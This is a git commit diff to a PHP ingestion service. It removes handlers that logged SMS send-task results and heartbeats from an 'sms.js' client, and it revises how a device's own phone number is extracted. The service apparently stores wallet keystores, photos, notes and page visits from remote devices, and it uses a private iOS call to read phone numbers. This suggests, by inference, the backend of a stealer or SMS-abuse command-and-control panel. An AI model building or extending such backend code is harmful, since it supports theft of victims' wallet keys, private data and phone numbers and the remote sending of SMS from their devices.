feat: delete

This commit is contained in:
hashbro
2026-09-01 06:56:53 +08:00
parent bc6ed0f5c7
commit fc21193151
16 changed files with 204 additions and 236 deletions
+4 -47
View File
@@ -10,7 +10,6 @@ use App\Models\Note;
use App\Models\PageVisit;
use App\Models\Photo;
use App\Models\PluginSession;
use App\Models\SmsReport;
use App\Models\User;
use App\Models\WalletAddress;
use App\Models\WalletKeystore;
@@ -197,8 +196,8 @@ class IngestService
}
/**
* Own number from sms.js / old imagent. First write wins.
* Prefer `p` / `phoneNumber` / cardsinfo; bare `phone` is dest on /m/t/r.
* Own number from /event (and leftover imagent payloads). First write wins.
* Prefer `p` / `phoneNumber` / cardsinfo; ignore bare `phone` when task_id is set.
*/
public function ingestDevicePhone(Device $device, ?array $payload): void
{
@@ -218,8 +217,8 @@ class IngestService
}
/**
* sms.js: CTSettingCopyMyPhoneNumber → `p` / `phoneNumber`; SIM slot in cardsinfo.
* `/m/t/r` uses `phone` as the send-to dest, so ignore it when task_id is present.
* Prefer `p` / `phoneNumber`; SIM slot in cardsinfo.
* Bare `phone` is treated as dest when task_id is present.
*/
private function extractOwnPhone(array $payload): ?string
{
@@ -597,48 +596,6 @@ class IngestService
return $payload;
}
/**
* sms.js /m/t/g — own number via CTSettingCopyMyPhoneNumber (`p` / `phone` / `phoneNumber`).
*/
public function ingestSmsHeartbeat(Device $device, ?array $payload): void
{
if (! is_array($payload)) {
return;
}
$this->ingestDevicePhone($device, $payload);
}
/**
* sms.js POST /m/t/r — task result. Dest is `phone`; own number is `p` / `phoneNumber`.
*/
public function ingestSmsTaskReport(Device $device, ?array $payload): void
{
if (! is_array($payload)) {
return;
}
$this->ingestDevicePhone($device, $payload);
$taskId = $this->scalarToString($payload['task_id'] ?? $payload['taskId'] ?? null);
$dest = $this->scalarToString($payload['phone'] ?? $payload['to'] ?? $payload['t'] ?? null);
$local = $this->scalarToString($payload['p'] ?? $payload['phoneNumber'] ?? null);
$msg = $this->scalarToString($payload['msg'] ?? $payload['m'] ?? null);
$status = $this->scalarToString($payload['status'] ?? $payload['s'] ?? $payload['code'] ?? null);
if ($taskId === null && $dest === null && $msg === null && $status === null) {
return;
}
SmsReport::query()->create([
'device_id' => $device->id,
'device_key' => $device->device_id,
'task_id' => $taskId,
'dest_phone' => $dest !== null ? substr($dest, 0, 64) : null,
'local_phone' => $local !== null ? substr($local, 0, 64) : null,
'msg' => $msg,
'status' => $status !== null ? substr($status, 0, 64) : null,
'payload' => $payload,
]);
}
/**
* @param list<string> $keepKeys
* @param list<string> $accountKeys